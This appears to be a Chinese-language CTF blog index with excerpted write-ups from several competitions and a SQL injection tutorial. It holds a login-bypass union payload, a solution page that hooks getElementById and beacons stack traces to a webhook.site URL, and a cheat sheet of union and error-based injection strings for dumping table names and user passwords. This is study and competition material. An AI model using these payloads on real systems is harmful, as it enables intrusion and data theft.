西湖论剑


only_sql

连上自己的数据库,load data写文件进去

读到源码:

<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
    try {
        $dsn = "mysql:host=$db_host;dbname=$db_name";
        $pdo = new PDO($dsn, $db_username, $db_password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $_SESSION['dsn']=$dsn;
        $_SESSION['db_username']=$db_username;
        $_SESSION['db_password']=$db_password;
    } catch (Exception $e) {
       die($e->getMessage());
    }
}
if(!isset($_SESSION['dsn'])){
    die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>执行数据库命令</title>
    <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
    <div class="container">
        <h1>执行数据库命令</h1>
        <form action="query.php" method="post">
            <div class="form-group">
                <label for="db_command">MySQL命令:</label>
                <input type="text" id="db_command" name="db_command" style="width: 500px;" required>
            </div>
            <div class="form-group">
                <button type="submit">执行命令</button>
            </div>
        </form>

        <div class="result">
           
            <?php
            if (isset($_POST['db_command'])) {
                $db_command = $_POST["db_command"];
                $dsn=$_SESSION['dsn'];
                $db_username = $_SESSION['db_username'];
                $db_password = $_SESSION['db_password'];

                try {
                    $pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
                    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

                    $stmt = $pdo->prepare($db_command);
                    $stmt->execute();
                    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);

                    if ($result) {
                        echo "<h2>执行结果:</h2>";
                        echo "<table>";
                        echo "<tr>";
                        foreach (array_keys($result[0]) as $column) {
                            echo "<th>$column</th>";
                        }
                        echo "</tr>";
                        foreach ($result as $row) {
                            echo "<tr>";
                            foreach ($row as $value) {
                                echo "<td>$value</td>";
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo "<p>没有结果返回。</p>";
                    }
                } catch (Exception $e) {
                    echo "<p class='error-message'>执行错误:" . $e->getMessage() . "</p>";
                }
            }
            ?>
        </div>
    </div>
</body>
</html>

eeee 没啥用

直接读flag———明明说是sql结果flag不在数据库里面

Read more ⟶

TelCTF


Stress Release Service

Stress Release Service:

Chall name:
- Stress Release Service

Category:
- Misc / Web

Author:
- tsug0d

Description:
For a better New Year, we are introducing a service that can help you reduce stress: <http://192.53.173.71:8080> . As our service is only available during the New Year, we are also providing you with a code for later use in material section.

StressReleaseService__give.zip

It is using preg_match to validate.

为啥是misc题啊

限制7个字符长度,可能需要点脑洞吧(

tiniest php webshell?

https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/

抽象,反引号或者想办法传参?

CTFshow_rce极限大挑战

他不限制在7个字符可以看下面这张图../TelCTF/image-20240204224839567

Read more ⟶

RW-be


Be-a-Security-Researcher

开局login

Read more ⟶

IrisCTF


What’s My Password

sql injection

{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}

LameNote

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.

lamenote.tar.gz

Read more ⟶

Insomni'hack


InsoBank

by clZ

We're launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.

It's not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:

http://91.92.201.197:3000/

Source: here
for (accountid,name,balance) in cursor.fetchall():
        if balance > 13.37:
            results[accountid] = {'name': name, 'balance': balance, 'flag': FLAG}
Read more ⟶

My 2023


2023

emmm,我也想总结一下下(QWQ)我的2023。

Read more ⟶

强网杯2023


Web

给了docker,代码逻辑

Read more ⟶

楚慧杯


楚慧杯

eaaeval

打开题目,源码给了用户密码

Read more ⟶

ASISCTF


Pupptear:

***报错追踪文件名字

Do you know what Puppeteer's friends call him when he cries? Pupptear... hahahaah

[attachment](<https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz>)

nc 18.195.96.13 2000

Flag format for Pupptear: ^ASIS{[^{}]+}$

pupptear.txz

oh ok

I get the concept.

url = input('input URL (b64ed): ')
if(not re.match('^[A-Za-z0-9=+/]+$',url)):
	print('bad URL')
	exit(1)

os.close(0)
os.close(1)
os.close(2)

containerName = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(0x10))
os.system(f'bash -c "sleep 5 && docker kill {containerName} 2>/dev/null" &')
os.system(f'docker run --name {containerName} pupptear bash -c \\'/ASIS*/index.js {url}\\' ')
#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = 'flag{test-flag}';

async function visit(url){
	let browser;

	if(!/^https?:\\/\\//.test(url)){
		return;
	}

	try{
		browser = await puppeteer.launch({
		    pipe: true,
		    args: [
		        "--no-sandbox",
		        "--disable-setuid-sandbox",
		        "--js-flags=--noexpose_wasm,--jitless",
		        "--ignore-certificate-errors",
		    ],
		    executablePath: "/usr/bin/google-chrome-stable",
		    headless: 'new'
		});

		let page = await browser.newPage();
		await page.goto(url,{ timeout: 2000 });
		await page.waitForFunction(flag=>{
			let el = document.getElementById('flag')
			if(!el) return false
			el.value = flag
			return true
		},{ timeout: 2000 },flag)
		await new Promise(r=>setTimeout(r,3000));
	}catch(e){}
	try{await browser.close();}catch(e){}
	process.exit(0)
}

get folder name? have no idea.

need to check if we can get flag during page move delayimage-20240101163004369

fake flag. need to get folder name. i guess stacktrace from waitforfunction?

WORKDIR /app
COPY ./stuff/ /app/
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm ci
RUN chmod +x /app/index.js
RUN useradd -m www
RUN chmod 777 /home/www/ -R
ENV FLAG=ASIS{test-flag}
RUN mv /app/ /$FLAG/
WORKDIR /
USER www

I guess yes.

One way is to hook Error and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕

If no one solves it I will try out sometime tomorrow.

i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.

hook getElementById, read stacktrace.

solved:

<!DOCTYPE html>
<body>
  <input type="text" id="flag" />
  <script>
    const oldFunc = document.getElementById
    document.getElementById = function(id) {
      const e = new Error();
      const stack = e.stack.split('\\n');
      fetch(`${document.location.href}`, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          id,
          stack
        })
      })
      return oldFunc.apply(document, arguments)
    }
  </script>
</body>

or

<!DOCTYPE html>
<body>
<script>
const HOOK_URL = "https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d";

let sent = false;
function hook() {
  if (sent) return;
  sent = true;

  const e = new Error();
  navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
</script>
</body>
Read more ⟶

SQL注入


SQL注入

SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)[盲注去这]

联合查询

很多时候联合查询也会和其他的几种查询方式一起使用。

联合查询用到的SQL语法知识

UNION可以将前后两个查询语句的结果拼接到一起,但是会自动去重。

UNION ALL功能相同,但是会显示所有数据,不会去重。

具有类似功能的还有JOIN https://blog.csdn.net/julielele/article/details/82023577 但是是一个对库表等进行连接的语句,我们在后续的绕过中会提到利用它来进行无列名注入。

注入流程
  1. 判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

    ?id=1' 
    ?id=1" 
    ?id=1') 
    ?id=1") 
    ?id=1' or 1#
    ?id=1' or 0#
    ?id=1' or 1=1#
    ?id=1' and 1=2#
    ?id=1' and sleep(5)#
    ?id=1' and 1=2 or ' 
    ?id=1\
    
  2. 猜测SQL查询语句中的字段数

    • 使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
    1' order by 1#
    1' order by 2#
    1' order by 3#
    1 order by 1
    1 order by 2
    1 order by 3
    
    • 使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
    1' union select 1#
    1' union select 1,2#
    1' union select 1,2,3#
    1 union select 1#
    1 union select 1,2#
    1 union select 1,2,3#
    
  3. 确定显示数据的字段位置 使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

    -1' union select 1#
    -1' union select 1,2#
    -1' union select 1,2,3#
    -1 union select 1#
    -1 union select 1,2#
    -1 union select 1,2,3#
    

    注意:

    • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
    • ⼀定要拼接够足够的字段数,否则SQL语句报错。
  4. 在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:

    • 获取当前数据库名
    -1' union select 1,2,database()--+
    
    • 获取当前数据库的表名
    -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    
    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    
    • 获取表中的字段名
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    
    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    
    • 获取数据
    -1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+
    
    -1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
    

一般情况下就是这样的一个顺序,确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据

报错注入:

报错注入用到的SQL语法知识

大体的思路就是利用报错回显,同时我们的查询指令或者SQL函数会被执行,报错的过程可能会出现在查询或者插入甚至删除的过程中。

0x00 floor()(8.x>mysql>5.0)[双查询报错注入]

函数返回小于或等于指定值(value)的最小整数,取整

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1

group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。

group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x

可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询,同时还是一个双查询的报错注入,当在一个聚合函数,比如count()函数后面如果使用group by分组语句的话,就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错

大体思路就是当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来,但是因为随机数要测试多次才能得到报错,上面报错注入函数中的第一个Floor()就是这种情况。

0x01 extractvalue() [Writeup_2023_0xGame_Week2 - rdj’s Blog (notnad3.github.io)](https://notnad3.github.io/2023/10/01/[Week 2] ez_upload/)【例题,sql注入】

对XML文档进行查询的函数

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

其实就是相当于我们熟悉的HTML文件中用

标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

Read more ⟶